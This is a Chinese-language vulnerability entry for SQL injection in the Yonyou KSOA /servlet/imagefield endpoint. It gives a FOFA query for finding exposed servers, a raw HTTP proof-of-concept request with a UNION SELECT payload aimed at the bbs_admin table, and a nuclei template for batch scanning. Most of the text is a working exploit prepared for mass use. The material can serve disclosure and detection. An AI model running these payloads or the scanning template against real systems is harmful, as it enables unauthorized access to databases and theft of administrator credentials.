用友时空KSOA imagefield SQL注入

漏洞简介

用友时空KSOA平台 /servlet/imagefield 存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。

漏洞复现

fofa查询:app="用友-时空KSOA"
登录页面如下：

POC：

GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close

nuclei批量yaml文件

id: yonyouKOSA_imagefield_sqli
info:
  name: 用友时空KSOA平台 /servlet/imagefield 存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: tags
requests:
  - raw:
      - |+
        GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+ HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '0x098f6bcd4621d373cade4e832627b4f6'
      - type: word
        part: header
        words:
          - '200'